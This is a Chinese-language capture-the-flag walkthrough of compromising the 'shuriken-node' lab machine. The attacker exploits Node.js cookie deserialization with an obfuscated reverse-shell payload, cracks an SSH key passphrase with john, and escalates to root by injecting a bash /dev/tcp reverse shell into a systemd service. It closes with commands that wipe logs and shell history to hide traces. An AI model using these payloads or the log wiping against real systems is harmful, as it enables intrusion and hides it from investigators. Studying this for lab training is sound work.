前言
靶机:shuriken-node
,ip地址192.168.1.127
攻击:kali
,ip地址192.168.1.16
主机发现
使用arp-scan -l
或者netdiscover -r 192.168.1.1/24
扫描
信息收集
使用nmap扫描端口
网站信息探测
访问8080端口网站,可以看到是一个博客,查看页面源代码,确定为目录型网站
尝试进行网站目录扫描
使用gobuster、ffuf、dirsearch、dirb、dirbuster
等工具进行目录爆破
gobuster dir -u http://192.168.1.127:8080 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403
可以看到只扫描出四个,并且也并非是脚本语言
访问扫描出的目录
发现在访问/css
和/img
时,都会提示无法使用get
方式
访问login
和Login
时,都是同一个界面
使用whatweb
进一步探测,不过也没有检测出什么
再次详细探测8080端口的默认界面,发现几个用户名,也就是文章发布者,并且发现两张图片
漏洞寻找
把文章中的图片都下载,然后使用工具分析,也没有隐藏信息。
那么尝试中间件吧,之前使用nmap
扫描的时候,注意这里不再是apache2
,而是node.js express framework
使用searchsploit
搜索有无该中间件的一些漏洞,因为这里是网站,所以根据搜索发现两个适合的,并且一个为py
脚本,一个为js
,并且都是序列化漏洞,可以远程代码执行的,下面还有一个文档,可以在上面漏洞无法使用时,查看
先测试python
脚本是否可用,因为本人对于python
代码相对比js
代码好点,查看脚本代码,发现有需要修改的地方,也就是修改IP地址
不过测试发现并不能成功,那么查看文档,PDF文档详细记录了复现过程以及使用什么工具,那么可以按照文档中的内容进行复现,这里因为太长,所以截取关键图片
不过阅读文章发现,这里是通过修改cookie
进行的漏洞,也就是cookie
存在反序列化,那么查看原本的cookie
发现为eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D
,也就是base64
编码后的,这里的%3D
是=
的url
编码
解码后,发现是一串字符,类似于json
格式,并且其中的guest
正是在主页中的显示welcome guest
把其中的内容进行一个修改username:superman
,然后编码后查看有无变化,可以看到guest
变成superman
尝试把其中的参数再次修改,比如admin
测试,发现还是无变化,再把isguest
改为false
,也无变化,说明还是需要按照文章来
使用wget
或者找到git
地址,使用wget
或者git
下载到本地,下载工具及配件
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
漏洞利用
尝试使用,该脚本是使用python2
执行的,后面跟着kali
的地址以及端口,用于监听反弹shell
python2 nodejsshell.py 192.168.1.16 9999
然后根据文档中的步骤,添加一段代码,也就是加上,这里是模板,把上面的编码数据包裹起来,主要 就是 ()
,记得在使用时,在burpsuit
中进行base64
编码。
但是这里需要注意,这里的语句全部在一行内构造的,不要回车造成多行
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,49,54,34,59,10,80,79,82,84,61,34,57,57,57,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
当然,还是需要根据自己的构造在kali
中来使用nc
进行监听
nc -lvnp 9999
然后使用burp
抓取数据包,修改cookie:session=[上面构造的数据]
或者在浏览器中更改cookie
为上面的编码数据也行,然后刷新浏览器页面
这时候,可以在终端看到已经反弹成功
使用dpkg -l | grep python
查看靶机安装哪些python
版本,然后对应版本进行获取交互式界面
python3 -c 'import pty;pty.spawn("/bin/bash")'
靶机内信息收集
使用find
寻找具有SUID权限的文件,发现sudo
但是需要密码
find / -perm -u=s -type f 2>/dev/null
使用find
寻找capabilites
文件,发现没有可利用的
find / -type f -executable 2>/dev/null | xargs getcap -r 2>/dev/null
收集系统内核、定时任务、用户数量等操作
uname -a
cat /etc/crontab
cat /etc/passwd | grep /bin/bash
ls /home
收集网络状态信息
ip addr
ss -antlp
还有进程方面的信息,但是太多不好截图,就放命令
top
free -h
ps aux
等等
查看日志文件有无查看权限,发现没有权限,一般日志文件在/var/log
中
继续查看备份文件,一般在/var/backups
中,这里发现一个压缩包,并且所属用户serv-adm
的,不过具有查看权限
复制该压缩包到/tmp
目录下,使用unzip
进行解压,发现一个id_rsa
文件,可能就是私钥文件
提权
水平提权至serv-adm
在靶机使用python
开启一个简易的http
服务,然后在kali
中下载id_rsa
文件
尝试使用该文件进行ssh
连接,发现需要密码,这个在之前的靶场中提到过,在生成ssh
公私钥时,会进行一个设置,这里就是设置了私钥的密码
使用john
套件转换后进行解密,发现密码为shuriken1995@
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
再次使用这个密码进行ssh
连接,登录成功
垂直提权至root
因为前面收集到sudo
具有SUID权限,所以还是进行尝试,看是否需要密码,发现不需要,并且有三个文件
这个是启动某种服务,一般这种服务文件都放置在/etc/systemd/system
,如果靶机有locate
命令可用,可以直接使用该命令直接定位其位置。然后查看该服务文件的权限,发现虽然为可读权限,但是文件所属用户为当前登录的用户,所以可以更改其权限
vim
编辑器不可用,可以使用vi
或者nano
编辑其文件,发现内容是没30分钟执行shuriken-job.service
这个服务,先修改这个时间,改为1分钟
然后查看shuriken-job.service
的权限以及内容,发现也是可以直接修改权限的,这里直接查看内容,发现有一个单元为启动时执行,表示启动该服务时会执行的操作,这里默认的是/bin/df
,那么修改为其他脚本,比如这里在该文件中添加bash
反弹命令
/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.16/1234 0>&1'
先在kali
中开启监听,然后再执行上面的sudo
命令,需要注意,这里的文件shuriken-job.service
只有在启动shuriken-auto.timer
时才行,并且是一次性的,所以如果出现问题,可以借助sudo /bin/systemctl daemon-reload
重载,再启动即可
#建议按照这个顺序进行执行
sudo /bin/systemctl stop shuriken-auto.timer
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start shuriken-auto.timer
当然我这里只是选择了一种简单的方法,进行反弹,也有其他提权方法,放在文章后面的总结中
痕迹清理
日志清理
这里和以往一样,就不截图了,直接命令
sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log
sudo
文件恢复原本状态,也就是把shuriken-auto.timer
恢复到原本的30
shuriken-job.service
恢复原本的命令/bin/df
命令历史记录清理
history -r
history -c
总结
该靶场的考察为以下几个方面:
- 从外网到靶机内部,考察的是
web
服务器的漏洞缺陷,也就是node.js
的反序列化,这里是借助文档进行一个漏洞复现 - 考察
ssh
生成公私钥的一个流程,这里就是在生成时,输入了一个key
值,所以需要使用john
套件进行解密 - 考察服务文件的利用,了解服务文件中的部分是做什么的,这里就是利用
[Service] 部分
的ExecStart
,表示开启服务时执行
因为该靶机的sudo
的服务文件,可以执行命令,所以很多可以造成提权的操作,都可以进行尝试的,不要局限于一种
对于该靶机的其他提权方式,这里不全面,只是说一下
- 修改
/etc/sudoers
文件权限,使得其他用户可以进行编写,然后在文件中加入一个/bin/bash
命令,再把文件权限恢复到默认的440
状态后,就可以直接使用sudo /bin/bash
提权到root
,当然这里对于权限的修改都是在shuriken-job.service
文件修改的,然后执行 - 利用
ssh
文件的特性,先在kali
中生成公私钥,然后在修改shuriken-job.service
文件,使得其在root
目录下创建.ssh
文件夹,并下载kali
中生成的公钥id_rsa.pub
到.ssh
文件夹下,并修改名称为authorized_keys
,这时候就可以在kali
中利用生成的私钥文件登录靶机的root